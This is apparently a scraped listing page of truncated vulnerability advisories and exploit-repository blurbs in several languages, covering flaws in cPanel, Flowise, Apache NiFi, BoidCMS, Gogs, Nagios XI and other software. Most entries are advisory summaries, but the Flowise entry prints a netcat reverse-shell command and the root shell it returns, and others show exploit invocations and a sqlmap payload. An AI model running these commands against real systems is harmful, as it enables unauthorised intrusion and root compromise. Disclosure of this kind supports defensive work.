CVE-2026-67401-cPanel-EmailTrack-SQLi

CVE-2026-67401 — cPanel 与 WHM EmailTrack SQL 注入 → Root RCE 针对 cPanel EmailTrack SQL 注入漏洞的 IOC 扫描器、检测工具包与修复指南 关键词： CVE-2026-67401、cPanel 漏洞利用、cPanel SQL 注入、WHM 漏洞、EmailTrack SQLi、cPanel root RCE、cPanel IOC 扫描器、cPanel 失陷评估、WHM 安全公告、cPanel 2026 补丁、cPanel 与 WHM 安全更新、虚拟主机漏洞、cPanel 权限提升、启用邮件的 cPanel...

CVE-2025-67730

CVE-2025-67730 – 存储型跨站脚本 XSS 概述 CVE ID: CVE-2025-67730 漏洞类型: 存储型跨站脚本 XSS 严重性: 中高 取决于上下文 此漏洞允许经过身份验证的用户将恶意HTML和JavaScript注入到Job 、Course 和Batch 表单的描述字段 中。注入的有效载荷会在随后查看受影响的Job、Course或Batch的任何用户的浏览器中自动执行。 受影响的组件 Job 描述字段 Course 描述字段 Batch 描述字段 影响 在受害者浏览器中执行任意JavaScript 会话劫持 凭据窃取 账户接管（取决于权限级别） DOM操纵和钓...

CVE-2023-34468

CVE-2023-34468 漏洞利用工具 概述 本仓库提供了一个基于 Python 的漏洞利用工具，针对 CVE-2023-34468 ——Apache NiFi 0.0.2 至 1.21.0 版本中存在的一个严重远程代码执行漏洞（CVSS 9.8）。该工具允许已认证用户通过操纵内嵌触发器的 H2 数据库连接字符串来执行任意代码。 ⚠️ 警告： 仅限教育和授权测试用途。未经授权访问计算机系统属违法行为。 漏洞详情 CVE ID： CVE-2023-34468 受影响版本： Apache NiFi 0.0.2–1.21.0 影响： 远程代码执行（RCE） CVSS 评分： 9.8（严重）...

CVE-2026-49009

root@kitploit: ▄█████ ██ ██ ██████ ████▄ ▄██▄ ████▄ ▄██▀▀▀ ██ ██ ▄█▀▀█▄ ▄██▄ ▄██▄ ▄█▀▀█▄ ██ ██▄▄██ ██▄▄ ▄▄▄ ▄██▀ ██ ██ ▄██▀ ██▄▄▄ ▄▄▄ ▀█████ ▀▀▀██ ██ ██ ██ ██ ▀▀▀██ ▀█████ ▀██▀ ██▄▄▄▄ ███▄▄ ▀██▀ ███▄▄ ▀█▄▄█▀ ██ ▄▄██▀ ▀██▀ ▀██▀ ▄▄██▀ ░█▄█░█▀▀░█▀█░█▀▄░█▀▀░█▀▄░░░█▀▀░█▀▀░█▀▄░█░█░█▀▀░█▀▄░░░█▀▄░█▀▀░█▀▀...

CVE-2026-88064

Backstage is an open framework for building developer portals. Prior to 1.14.6 and from 1.15.0 until 1.15.4, the @backstage/plugin-techdocs-node package insufficiently validates mkdocs.yml supplied by an authenticated user who can register or modify a TechDocs source. Unsafe Python YAML tags,...

CVE-2026-35196

CVE-2026-35196 · Chamilo LMS · OSコマンドインジェクション → RCE 研究者: K 開示タイプ: 責任ある開示 ステータス: 修正済み 影響を受ける製品: Chamilo LMS 2.0 v1.11.32 で確認...

CVE-2026-92567 TDuck survey form through 5.0 Unauthorized Data Modification

TDuck survey form through version 5.0 contains an authorization bypass vulnerability in the POST /user/form/data/update endpoint that allows authenticated users to overwrite other users' form submission data. Attackers can discover submission identifiers allocated in narrow ranges and modify...

EUVD-2026-80814

MLRun through 1.11.0 contains a server-side request forgery vulnerability in the WebhookNotification handler that allows authenticated users to make the API server send arbitrary HTTP requests to internal addresses. Attackers can update a run with a malicious webhook notification that executes wh...

CVE-2025-66837

CVE-2025-66837 悪意のあるファイルアップロード 説明 ARIS におけるファイルアップロードの脆弱性により、攻撃者が細工された PDF ファイル/マルウェアをアップロードすることで任意のコードを実行できる可能性があります。 CVSS スコア: 6.8 Medium 攻撃タイプ リモート（認証済み） 影響を受けるバージョン 10.0.23.0.3587512 以前のバージョン 製品ベンダー software ag 影響を受ける製品コードベース ARIS 影響を受けるコンポーネント File Upload API. 緩和策 アップロードされたファイルの内容を検証する。 脆弱性の...

CVE-2025-2249

🔐 WordPress SoJ SoundSlides プラグイン ⚠️ 免責事項: このエクスプロイトは教育目的および許可されたテスト目的のみに使用してください。 📌 脆弱性の概要 プラグイン: SoJ SoundSlides 影響を受けるバージョン: = 1.2.2 種類: 認証済み（投稿者以上）任意ファイルアップロード パッチ状況: ❌ 公式修正は提供されていません SoJ SoundSlides プラグインは、投稿者（Contributor）以上の権限を持つ認証済みユーザー による任意の ZIP ファイルのアップロードを許可します。検証が欠如しているため、攻撃者は PHP...

rConfig 3.9.4 - Cross-Site Scripting

The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in deviceId GET parameter of devicemgmnt.php resulting in...

Nagios XI 5.7.5 - Cross-Site Scripting

Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with th...

CVE-2026-39387

CVE-2026-39387 — BoidCMS 认证文件上传至模板注入 RCE 描述 BoidCMS -l -p 参数 示例 root@kitploit: python3 CVE-2026-39387.py -u http://target.com -l admin -p password123 漏洞利用完成后，将提供一个交互式 shell 提示符（cmd ）用于在远程主机上执行命令。 漏洞利用流程 root@kitploit: 1. 登录 → POST /admin （带 CSRF token） 2. 上传 shell → POST /admin?page=media （包含 PHP...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE 针对 Flowise 版本 &1|nc 10.10.15.200 443 /tmp/f' 检查监听器，它应该会工作: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

CVE-2023-40931-PoC

CVE-2023-40931 用于利用CVE-2023-40931的sqlmap payload 有效载荷 所需信息： 有效用户名和密码 托管实例的域名和路径 root@kitploit: sqlmap -D nagiosxi -T xiusers -u "https:///nagiosxi/admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=3&token=curl -ksX POST https:///nagiosxi/api/v1/authenticate -d...

CVE-2025-8110

CVE-2025-8110 - Gogs 符号链接绕过 - 以 Gogs 进程用户身份任意写入文件 Gogs //contents/）。Gogs 会跟随符号链接，并以 Gogs 进程的权限将攻击者控制的字节写入链接目标。当 Gogs 以 root 身份运行时，这便是一次任意的 root 文件写入——例如，将 NOPASSWD 规则放入 /etc/sudoers.d/ 以实现本地权限提升。 由 Wiz Research 报告。 CVE： CVE-2025-8110 环境要求 root@kitploit: python3 -m pip install requests pillow...

Security Bulletin: IBM® Db2® could allow a authenticated attacker to cause a denial of service due to uncontrolled resource consumption (CVE-2026-17463)

Summary IBM® Db2® could allow a authenticated attacker to cause a denial of service due to uncontrolled resource consumption CVE-2026-17463 Vulnerability Details CVEID:CVE-2026-17463 DESCRIPTION: IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows includes DB2...

CVE-2026-73169

Nozomi Networks Labs identified a CWE-79: Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in the Modbus transaction management interface of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote authenticated attacker to store...

EUVD-2026-80705

zlt2000 microservices-platform through 6.0.0 contains an unverified password change vulnerability in the PUT /users/password endpoint that allows authenticated users to change any account password by omitting the current password check. Attackers can supply an arbitrary user id in the request bod...

CVE-2026-92467 microservices-platform through 6.0.0 Unverified Password Change via /users/password

zlt2000 microservices-platform through 6.0.0 contains an unverified password change vulnerability in the PUT /users/password endpoint that allows authenticated users to change any account password by omitting the current password check. Attackers can supply an arbitrary user id in the request bod...